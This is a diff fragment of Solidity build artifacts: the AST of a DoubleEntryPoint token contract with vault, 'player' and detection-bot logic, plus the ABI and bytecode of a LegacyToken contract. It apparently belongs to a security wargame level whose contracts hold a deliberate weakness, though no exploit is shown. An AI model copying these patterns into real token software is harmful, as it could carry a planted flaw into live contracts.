Forta"}},"id":51757,"nodeType":"ExpressionStatement","src":"2914:27:71"},{"expression":{"id":51760,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51758,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51732,"src":"2951:6:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":51759,"name":"playerAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51745,"src":"2960:13:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2951:22:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":51761,"nodeType":"ExpressionStatement","src":"2951:22:71"},{"expression":{"id":51764,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51762,"name":"cryptoVault","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51730,"src":"2983:11:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":51763,"name":"vaultAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51741,"src":"2997:12:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2983:26:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":51765,"nodeType":"ExpressionStatement","src":"2983:26:71"},{"expression":{"arguments":[{"id":51767,"name":"cryptoVault","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51730,"src":"3025:11:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"313030","id":51768,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3038:9:71","subdenomination":"ether","typeDescriptions":{"typeIdentifier":"t_rational_100000000000000000000_by_1","typeString":"int_const 100000000000000000000"},"value":"100"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_100000000000000000000_by_1","typeString":"int_const 100000000000000000000"}],"id":51766,"name":"_mint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47678,"src":"3019:5:71","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256)"}},"id":51769,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3019:29:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51770,"nodeType":"ExpressionStatement","src":"3019:29:71"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":51746,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51739,"mutability":"mutable","name":"legacyToken","nameLocation":"2787:11:71","nodeType":"VariableDeclaration","scope":51772,"src":"2779:19:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51738,"name":"address","nodeType":"ElementaryTypeName","src":"2779:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51741,"mutability":"mutable","name":"vaultAddress","nameLocation":"2808:12:71","nodeType":"VariableDeclaration","scope":51772,"src":"2800:20:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51740,"name":"address","nodeType":"ElementaryTypeName","src":"2800:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51743,"mutability":"mutable","name":"fortaAddress","nameLocation":"2830:12:71","nodeType":"VariableDeclaration","scope":51772,"src":"2822:20:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51742,"name":"address","nodeType":"ElementaryTypeName","src":"2822:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51745,"mutability":"mutable","name":"playerAddress","nameLocation":"2852:13:71","nodeType":"VariableDeclaration","scope":51772,"src":"2844:21:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51744,"name":"address","nodeType":"ElementaryTypeName","src":"2844:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"2778:88:71"},"returnParameters":{"id":51747,"nodeType":"ParameterList","parameters":[],"src":"2867:0:71"},"scope":51850,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":51784,"nodeType":"ModifierDefinition","src":"3061:115:71","nodes":[],"body":{"id":51783,"nodeType":"Block","src":"3089:87:71","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":51778,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":51775,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"3107:3:71","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51776,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3111:6:71","memberName":"sender","nodeType":"MemberAccess","src":"3107:10:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":51777,"name":"delegatedFrom","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51734,"src":"3121:13:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"3107:27:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4e6f74206c656761637920636f6e7472616374","id":51779,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3136:21:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_d53c3dd2b8b8bbdc39671c54443b1e626049f3606ea5f078539eb33f51f6c68f","typeString":"literal_string \"Not legacy contract\""},"value":"Not legacy contract"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_d53c3dd2b8b8bbdc39671c54443b1e626049f3606ea5f078539eb33f51f6c68f","typeString":"literal_string \"Not legacy contract\""}],"id":51774,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"3099:7:71","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":51780,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3099:59:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51781,"nodeType":"ExpressionStatement","src":"3099:59:71"},{"id":51782,"nodeType":"PlaceholderStatement","src":"3168:1:71"}]},"name":"onlyDelegateFrom","nameLocation":"3070:16:71","parameters":{"id":51773,"nodeType":"ParameterList","parameters":[],"src":"3086:2:71"},"virtual":false,"visibility":"internal"},{"id":51824,"nodeType":"ModifierDefinition","src":"3182:480:71","nodes":[],"body":{"id":51823,"nodeType":"Block","src":"3205:457:71","nodes":[],"statements":[{"assignments":[51787],"declarations":[{"constant":false,"id":51787,"mutability":"mutable","name":"detectionBot","nameLocation":"3223:12:71","nodeType":"VariableDeclaration","scope":51823,"src":"3215:20:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51786,"name":"address","nodeType":"ElementaryTypeName","src":"3215:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":51795,"initialValue":{"arguments":[{"arguments":[{"id":51792,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51732,"src":"3271:6:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":51790,"name":"forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51737,"src":"3246:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"id":51791,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3252:18:71","memberName":"usersDetectionBots","nodeType":"MemberAccess","referencedDeclaration":51496,"src":"3246:24:71","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_contract$_IDetectionBot_$51471_$","typeString":"function (address) view external returns (contract IDetectionBot)"}},"id":51793,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3246:32:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}],"id":51789,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"3238:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51788,"name":"address","nodeType":"ElementaryTypeName","src":"3238:7:71","typeDescriptions":{}}},"id":51794,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3238:41:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"3215:64:71"},{"assignments":[51797],"declarations":[{"constant":false,"id":51797,"mutability":"mutable","name":"previousValue","nameLocation":"3340:13:71","nodeType":"VariableDeclaration","scope":51823,"src":"3332:21:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51796,"name":"uint256","nodeType":"ElementaryTypeName","src":"3332:7:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":51802,"initialValue":{"arguments":[{"id":51800,"name":"detectionBot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51787,"src":"3378:12:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":51798,"name":"forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51737,"src":"3356:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"id":51799,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3362:15:71","memberName":"botRaisedAlerts","nodeType":"MemberAccess","referencedDeclaration":51500,"src":"3356:21:71","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":51801,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3356:35:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"3332:59:71"},{"expression":{"arguments":[{"id":51806,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51732,"src":"3439:6:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"expression":{"id":51807,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"3447:3:71","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51808,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3451:4:71","memberName":"data","nodeType":"MemberAccess","src":"3447:8:71","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}],"expression":{"id":51803,"name":"forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51737,"src":"3426:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"id":51805,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3432:6:71","memberName":"notify","nodeType":"MemberAccess","referencedDeclaration":51551,"src":"3426:12:71","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_bytes_memory_ptr_$returns$__$","typeString":"function (address,bytes memory) external"}},"id":51809,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3426:30:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51810,"nodeType":"ExpressionStatement","src":"3426:30:71"},{"id":51811,"nodeType":"PlaceholderStatement","src":"3497:1:71"},{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":51817,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":51814,"name":"detectionBot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51787,"src":"3579:12:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":51812,"name":"forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51737,"src":"3557:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"id":51813,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3563:15:71","memberName":"botRaisedAlerts","nodeType":"MemberAccess","referencedDeclaration":51500,"src":"3557:21:71","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":51815,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3557:35:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"id":51816,"name":"previousValue","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51797,"src":"3595:13:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"3557:51:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":51822,"nodeType":"IfStatement","src":"3553:102:71","trueBody":{"expression":{"arguments":[{"hexValue":"416c65727420686173206265656e207472696767657265642c20726576657274696e67","id":51819,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3617:37:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_3ae8a2daecdbfc253037824392ddaa1876273cf31b918ffb36463f6dc821c120","typeString":"literal_string \"Alert has been triggered, reverting\""},"value":"Alert has been triggered, reverting"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_3ae8a2daecdbfc253037824392ddaa1876273cf31b918ffb36463f6dc821c120","typeString":"literal_string \"Alert has been triggered, reverting\""}],"id":51818,"name":"revert","nodeType":"Identifier","overloadedDeclarations":[-19,-19],"referencedDeclaration":-19,"src":"3610:6:71","typeDescriptions":{"typeIdentifier":"t_function_revert_pure$_t_string_memory_ptr_$returns$__$","typeString":"function (string memory) pure"}},"id":51820,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3610:45:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51821,"nodeType":"ExpressionStatement","src":"3610:45:71"}}]},"name":"fortaNotify","nameLocation":"3191:11:71","parameters":{"id":51785,"nodeType":"ParameterList","parameters":[],"src":"3202:2:71"},"virtual":false,"visibility":"internal"},{"id":51849,"nodeType":"FunctionDefinition","src":"3668:247:71","nodes":[],"body":{"id":51848,"nodeType":"Block","src":"3845:70:71","nodes":[],"statements":[{"expression":{"arguments":[{"id":51841,"name":"origSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51830,"src":"3865:10:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51842,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51826,"src":"3877:2:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51843,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51828,"src":"3881:5:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":51840,"name":"_transfer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47622,"src":"3855:9:71","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256)"}},"id":51844,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3855:32:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51845,"nodeType":"ExpressionStatement","src":"3855:32:71"},{"expression":{"hexValue":"74727565","id":51846,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"3904:4:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"functionReturnParameters":51839,"id":51847,"nodeType":"Return","src":"3897:11:71"}]},"baseFunctions":[51462],"functionSelector":"9cd1a121","implemented":true,"kind":"function","modifiers":[{"id":51834,"kind":"modifierInvocation","modifierName":{"id":51833,"name":"onlyDelegateFrom","nameLocations":["3781:16:71"],"nodeType":"IdentifierPath","referencedDeclaration":51784,"src":"3781:16:71"},"nodeType":"ModifierInvocation","src":"3781:16:71"},{"id":51836,"kind":"modifierInvocation","modifierName":{"id":51835,"name":"fortaNotify","nameLocations":["3806:11:71"],"nodeType":"IdentifierPath","referencedDeclaration":51824,"src":"3806:11:71"},"nodeType":"ModifierInvocation","src":"3806:11:71"}],"name":"delegateTransfer","nameLocation":"3677:16:71","overrides":{"id":51832,"nodeType":"OverrideSpecifier","overrides":[],"src":"3764:8:71"},"parameters":{"id":51831,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51826,"mutability":"mutable","name":"to","nameLocation":"3702:2:71","nodeType":"VariableDeclaration","scope":51849,"src":"3694:10:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51825,"name":"address","nodeType":"ElementaryTypeName","src":"3694:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51828,"mutability":"mutable","name":"value","nameLocation":"3714:5:71","nodeType":"VariableDeclaration","scope":51849,"src":"3706:13:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51827,"name":"uint256","nodeType":"ElementaryTypeName","src":"3706:7:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":51830,"mutability":"mutable","name":"origSender","nameLocation":"3729:10:71","nodeType":"VariableDeclaration","scope":51849,"src":"3721:18:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51829,"name":"address","nodeType":"ElementaryTypeName","src":"3721:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"3693:47:71"},"returnParameters":{"id":51839,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51838,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":51849,"src":"3835:4:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":51837,"name":"bool","nodeType":"ElementaryTypeName","src":"3835:4:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"3834:6:71"},"scope":51850,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"arguments":[{"hexValue":"446f75626c65456e747279506f696e74546f6b656e","id":51722,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2587:23:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_acd02697b9842d4d6df3ca155d849bd2482081e76cdcc10837c68f4b739e609c","typeString":"literal_string \"DoubleEntryPointToken\""},"value":"DoubleEntryPointToken"},{"hexValue":"444554","id":51723,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2612:5:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_0e7ffae0b7eacea784bd2a5973596e3df0c9a32c97db9ebf789b252819ae06c4","typeString":"literal_string \"DET\""},"value":"DET"}],"baseName":{"id":51721,"name":"ERC20","nameLocations":["2581:5:71"],"nodeType":"IdentifierPath","referencedDeclaration":47861,"src":"2581:5:71"},"id":51724,"nodeType":"InheritanceSpecifier","src":"2581:37:71"},{"baseName":{"id":51725,"name":"DelegateERC20","nameLocations":["2620:13:71"],"nodeType":"IdentifierPath","referencedDeclaration":51463,"src":"2620:13:71"},"id":51726,"nodeType":"InheritanceSpecifier","src":"2620:13:71"},{"baseName":{"id":51727,"name":"Ownable","nameLocations":["2635:7:71"],"nodeType":"IdentifierPath","referencedDeclaration":46700,"src":"2635:7:71"},"id":51728,"nodeType":"InheritanceSpecifier","src":"2635:7:71"}],"canonicalName":"DoubleEntryPoint","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[51850,46700,51463,47861,47964,47939,48281],"name":"DoubleEntryPoint","nameLocation":"2561:16:71","scope":51851,"usedErrors":[],"usedEvents":[46601,47873,47882]}],"license":"MIT"},"id":71} \ No newline at end of file diff --git a/contracts/out/DoubleEntryPoint.sol/LegacyToken.json b/contracts/out/DoubleEntryPoint.sol/LegacyToken.json new file mode 100644 index 000000000..8b882d0f8 --- /dev/null +++ b/contracts/out/DoubleEntryPoint.sol/LegacyToken.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"allowance","inputs":[{"name":"owner","type":"address","internalType":"address"},{"name":"spender","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"approve","inputs":[{"name":"spender","type":"address","internalType":"address"},{"name":"amount","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"balanceOf","inputs":[{"name":"account","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"decimals","inputs":[],"outputs":[{"name":"","type":"uint8","internalType":"uint8"}],"stateMutability":"view"},{"type":"function","name":"decreaseAllowance","inputs":[{"name":"spender","type":"address","internalType":"address"},{"name":"subtractedValue","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"delegate","inputs":[],"outputs":[{"name":"","type":"address","internalType":"contract DelegateERC20"}],"stateMutability":"view"},{"type":"function","name":"delegateToNewContract","inputs":[{"name":"newContract","type":"address","internalType":"contract DelegateERC20"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"increaseAllowance","inputs":[{"name":"spender","type":"address","internalType":"address"},{"name":"addedValue","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"mint","inputs":[{"name":"to","type":"address","internalType":"address"},{"name":"amount","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"name","inputs":[],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"view"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"symbol","inputs":[],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"view"},{"type":"function","name":"totalSupply","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"transfer","inputs":[{"name":"to","type":"address","internalType":"address"},{"name":"value","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"transferFrom","inputs":[{"name":"from","type":"address","internalType":"address"},{"name":"to","type":"address","internalType":"address"},{"name":"amount","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"Approval","inputs":[{"name":"owner","type":"address","indexed":true,"internalType":"address"},{"name":"spender","type":"address","indexed":true,"internalType":"address"},{"name":"value","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false},{"type":"event","name":"Transfer","inputs":[{"name":"from","type":"address","indexed":true,"internalType":"address"},{"name":"to","type":"address","indexed":true,"internalType":"address"},{"name":"value","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false}],"bytecode":{"object":"0x608060405234801562000010575f80fd5b506040518060400160405280600b81526020016a2632b3b0b1bcaa37b5b2b760a91b815250604051806040016040528060038152602001621311d560ea1b815250816003908162000062919062000187565b50600462000071828262000187565b5050506200008e620000886200009460201b60201c565b62000098565b62000253565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200011257607f821691505b6020821081036200013157634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200018257805f5260205f20601f840160051c810160208510156200015e5750805b601f840160051c820191505b818110156200017f575f81556001016200016a565b50505b505050565b81516001600160401b03811115620001a357620001a3620000e9565b620001bb81620001b48454620000fd565b8462000137565b602080601f831160018114620001f1575f8415620001d95750858301515b5f19600386901b1c1916600185901b1785556200024b565b5f85815260208120601f198616915b82811015620002215788860151825594840194600190910190840162000200565b50858210156200023f57878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b610d8180620002615f395ff3fe608060405234801561000f575f80fd5b5060043610610115575f3560e01c806370a08231116100ad578063a457c2d71161007d578063c89e436111610063578063c89e43611461024c578063dd62ed3e1461025f578063f2fde38b14610297575f80fd5b8063a457c2d714610226578063a9059cbb14610239575f80fd5b806370a08231146101c9578063715018a6146101f15780638da5cb5b146101f957806395d89b411461021e575f80fd5b806323b872dd116100e857806323b872dd14610181578063313ce5671461019457806339509351146101a357806340c10f19146101b6575f80fd5b806306fdde0314610119578063095ea7b31461013757806318160ddd1461015a5780631d2d84001461016c575b5f80fd5b6101216102aa565b60405161012e9190610bb4565b60405180910390f35b61014a610145366004610c14565b61033a565b604051901515815260200161012e565b6002545b60405190815260200161012e565b61017f61017a366004610c3e565b610353565b005b61014a61018f366004610c60565b61038a565b6040516012815260200161012e565b61014a6101b1366004610c14565b6103ad565b61017f6101c4366004610c14565b6103eb565b61015e6101d7366004610c3e565b6001600160a01b03165f9081526020819052604090205490565b61017f610401565b6005546001600160a01b03165b6040516001600160a01b03909116815260200161012e565b610121610414565b61014a610234366004610c14565b610423565b61014a610247366004610c14565b6104d1565b600654610206906001600160a01b031681565b61015e61026d366004610c9e565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b61017f6102a5366004610c3e565b610587565b6060600380546102b990610cd5565b80601f01602080910402602001604051908101604052809291908181526020018280546102e590610cd5565b80156103305780601f1061030757610100808354040283529160200191610330565b820191905f5260205f20905b81548152906001019060200180831161031357829003601f168201915b5050505050905090565b5f33610347818585610617565b60019150505b92915050565b61035b61076e565b6006805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b5f336103978582856107c8565b6103a2858585610858565b506001949350505050565b335f8181526001602090815260408083206001600160a01b038716845290915281205490919061034790829086906103e6908790610d0d565b610617565b6103f361076e565b6103fd8282610a6d565b5050565b61040961076e565b6104125f610b49565b565b6060600480546102b990610cd5565b335f8181526001602090815260408083206001600160a01b0387168452909152812054909190838110156104c45760405162461bcd60e51b815260206004820152602560248201527f